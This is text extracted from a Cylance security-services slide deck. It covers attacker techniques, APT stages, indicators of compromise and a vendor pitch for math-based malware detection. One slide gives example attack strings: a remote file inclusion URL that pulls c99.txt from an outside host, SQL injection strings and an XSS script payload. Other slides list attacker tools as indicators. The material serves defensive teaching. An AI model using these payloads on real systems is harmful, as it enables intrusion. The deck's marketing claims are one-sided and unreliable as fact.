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Mathematical Determination of Good and Bad Leveraging Preventative / Response Professional Services. Cylance. Corey White , VP, Professional Services. PRE SPONSE Professional Services. Risk Does Not Equal Threat | Presponse Compromise Assessment.
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Mathematical Determination of Goodand Bad Leveraging Preventative/ Response Professional Services Cylance Corey White, VP, Professional Services
Risk Does Not Equal Threat | Presponse Compromise Assessment
Malware - Windows / Linux / OSX (31% didn’t use malware) • Dropper/Downloaders – Phishing & Waterholing Malware in Userspace Zero/Single-day Exploits that lead to… • Backdoor Trojan RATs – Kernel interactive Service Binaries that mimic legitimate capabilities (RAS/Proxy/AV/Recon/Config) • BOTNETs – Platforms for MAAS/Subscription Access • WebShells – Internet-facing Server Backdoor RATs (c99/r57/eval)
Hacking - .day Exploits • Zero Day • Vulnerability that only the developer knows about • ½ Day • Vulnerability that is known about but no patches are yet available • Single Day • Vulnerability that is known about and patches are available but not applied • Forever Day • Vulnerability that is known and cannot be patched
Hacking - Web Server/Services Exploits • Remote code execution (watch your .htaccess files!) • register_globals on in PHP | require ($page . ".php"); • http://www.plshackme.com/index.php?page=http://www.ilikeyoursite.com/c99.txt • SQL injection (watch your user privileges!) • AND / OR in SQL $query | $query = "SELECT * FROM users WHERE username = '' or '1=1'"; • http://www.plshackme.com/site.asp?id=1%20and%201=convert(int,@@version),, • Cross Site Scripting/XSS (watch your syntax!) • Volatile entry in Echo | <?php echo "<p>Your Name <br />"; echo ($_GET[name_1]); ?> • http://www.plshackme.com/clean.php?name_1=<script>HERE_IS_MY_CODE</script> • Username enumeration (watch your error messages!) • Username guessing | Incorrect logon / password combination
Social Engineering – Access, Behavior, and Authority • Sabotage • Phishing • Waterholing • USB “HoneyDrops” & Other Free Hardware • “HelpDesk Operators” • “Visitors” (Repairmen, Janitors, Pizza/Flower Delivery, Tailgaters) • Subversion • Contractors • Employees
Advanced Persistent Threat - Activities • Stage 2 - Exploit • Privilege Escalation • Lateral Movement • User Profile Abuse • Remote Access Provisioning • Services Bypass/Cancellation • Stage 1 - Compromise • Social Engineering Backdoors • Phishing / Waterholing • Help Desk / Visitors • Web Site Backdoors • Reconnaissance • Stage 3 - Control • Configuration Management • Data Targeting • Data Exfiltration • Sabotage • Subversion
Most commonly seen indicators of data loss: • Non-standard Packagers (7z, Gz, RAR, PKZIP, etc.) • Multipart Files of particular sizes (250/500Mb) • “Recycle”/Recycle Bin Residue • HTTP 206 Status Codes on Web Servers • Non-standard File Transfer Services (Filezilla, FTP, WsFTP, etc.) • Non-standard Reverse/Proxy Services (HUCs, PLINK, NC, SSH, etc.)
Most commonly seen indicators of sabotage: • Unusual Prefetch / Recent / LNK / Bash binary execution history • AT / CRON Jobs • Scripts • Services Cancellation • User Profile Authority Changes
Most commonly seen indicators of user profile abuse: • Multiple user accounts on single computer • User account on multiple computers • Service & Administrative account propagation • Extranet LDAP/AD account use • Account privilege provisioning/modifications (SuSID, MD5, Admins etc.) • Local Services history (MIMIKATZ, PWDUMP, L0pht, CAIN/ABEL)
Most commonly seen indicators of lateral movement: • Access history (Type 3 / 4 / 8 / 10 logins, AuthLog) • MSTSC history (.RDP, .BMC) • Remote job scheduling (AT, SC, WMIC, SSH) • Redundant & non-standard RAS tools (VNC, LogMeIn, TeamViewer, NC, PUTTY, PSEXEC, *FTP, SCP) • Domain Services history (DSGET, DSQUERY, HYENA) • Reconnaissance tools (FPORT, NET/NET1, NETSH, PING)
Most commonly seen indicators of insider threats: • Unusual profile access and use history • Time • HostID • Application History • Configuration History • RBAC violations • Other Acceptable Use Policy violations • Malware / PUP / PUM…
Most common malware identifiers: • Authority – service, administrator, or user • Persistence – only 4 persistence mechanisms in Windows • Communications – only 44 netsvcs keys in Windows Services • Functionality – user and kernel combinations are rare • File System – user or system
Risk Does Not Equal Threat | Presponse Compromise Assessment Issues Not Indicators Focus on Priorities
Get Ahead of Compromise Activities • Monitor • Persistence settings: registry keys, startup folders, scheduled jobs/tasks • Service creations • Alert • User Profile Propagation • Lateral Movement/Access • Anomalous Use (time/resources) • Service State Changes (start/stop) • File creations by type (RAR, BAT, VBS, SH, etc.) • Sinkhole Communications • Prevent • Assess and Secure Networks & Applications • Automated Tasks • Known PUP/PUMs • User-space Execution Prevent
Victimization EMAIL SOCIAL ENGINEERING WEB SUPPLY CHAIN DIRECT OPEN PORTS INSIDER TCP/135 CANDY DROP
Innovation Requires STARVATION
WARNING: Deprogramming Required NOSignatures NO Heuristics NO Behavioral NO Sandboxing NODynamic Detonation NO Micro-Virtualization JUST 100% Pure MATH
MALICIOUS GOOD 100% Pure Math GAP (60%+) Blacklist Whitelist 20% 20% UNKNOWN “THE GREYLIST” Behavioral Analysis Sandboxing IDS/IPS Whitelisting Servers AV Email / WebGateway Antivirus / HIPS Firewall
Trust Trust Vendor the Math the
Infinity Product Portfolio DETECT SWEEP* • Browser delivery • Detection of threats • Silent / small footprint • Detection • with Protection option • V-API • V-Forensics • V-Gateway • V-Helpdesk • Detection only • Windows Agent • Cloud management • Silent / small footprint • Detection and Protection • Free, Silent • REST API over SSL • Advanced Threat • Over 5,000 seats • Detection only FEBRUARY 2014 APRIL 2014 JUNE 2013 OCTOBER 2013